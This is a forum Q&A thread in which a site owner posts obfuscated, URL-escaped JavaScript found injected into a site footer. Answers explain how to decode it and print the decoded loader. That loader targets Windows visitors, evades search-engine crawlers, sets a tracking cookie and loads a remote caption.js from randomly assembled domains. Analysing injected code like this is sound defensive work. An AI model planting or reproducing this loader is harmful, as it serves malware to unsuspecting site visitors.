Decode some injected Javascript?

Question

I had the following injected into the footer of a site of mine and, in an effort of solving the greater mystery ("How" it happened), I'm trying to decode it. Any ideas?

Here's the code:

<ads><script type="text/javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%62%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%2C%63%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%3D%3D%2D%31%26%26%21%61%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%62%29%26%26%63%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72%20%64%3D%5B%22%6D%79%61%64%73%2E%6E%61%6D%65%22%2C%22%61%64%73%6E%65%74%2E%62%69%7A%22%2C%22%74%6F%6F%6C%62%61%72%63%6F%6D%2E%6F%72%67%22%2C%22%6D%79%62%61%72%2E%75%73%22%2C%22%66%72%65%65%61%64%2E%6E%61%6D%65%22%5D%2C%65%3D%5B%22%76%61%67%69%2E%22%2C%22%76%61%69%6E%2E%22%2C%22%76%61%6C%65%2E%22%2C%22%76%61%72%73%2E%22%2C%22%76%61%72%79%2E%22%2C%22%76%61%73%61%2E%22%2C%22%76%61%75%74%2E%22%2C%22%76%61%76%73%2E%22%2C%22%76%69%6E%79%2E%22%2C%22%76%69%6F%6C%2E%22%2C%22%76%72%6F%77%2E%22%2C%22%76%75%67%73%2E%22%2C%22%76%75%6C%6E%2E%22%5D%2C%66%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%2E%6C%65%6E%67%74%68%29%2C%67%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%65%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%6C%79%63%6F%6F%6B%69%65%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%65%5B%67%5D%2B%64%5B%66%5D%2B%27%2F%73%79%73%74%65%6D%2F%63%61%70%74%69%6F%6E%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));</script></ads>

Answer 1

You can decode the string using this tool. Set string conversion options to URL and Decode. Then you can pretty it up with js beautifier.

And because I'm a curious sort, I took a look at the output. It's writing a new caption.js file to your pages from a semi-random domain. There are 2 arrays of URL segments that are used to build the full domain, so I'd say you've got something to go with.

Answer 2

<script language="javascript" type="text/javascript">
var a = window.navigator.userAgent,
    b = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,
    c = navigator.appVersion;
if (document.cookie.indexOf("holycookie") == -1 && !a.toLowerCase().match(b) && c.toLowerCase().indexOf("win") != -1) {
    var d = ["myads.name", "adsnet.biz", "toolbarcom.org", "mybar.us", "freead.name"],
        e = ["vagi.", "vain.", "vale.", "vars.", "vary.", "vasa.", "vaut.", "vavs.", "viny.", "viol.", "vrow.", "vugs.", "vuln."],
        f = Math.floor(Math.random() * d.length),
        g = Math.floor(Math.random() * e.length);
    dt = new Date;
    dt.setTime(dt.getTime() + 9072E4);
    document.cookie = "holycookie=" + escape("holycookie") + ";expires=" + dt.toGMTString() + ";path=/";
    document.write('<script type="text/javascript" src="http://' + e[g] + d[f] + '/system/caption.js"><\/script>')
};
</script>

So, prepends a subdomain from e (e.g. vagi.) to a domain name from d (e.g. myads.name) and loads a script from /system/caption.js at that domain (e.g. http://vagi.myads.name/system/caption.js).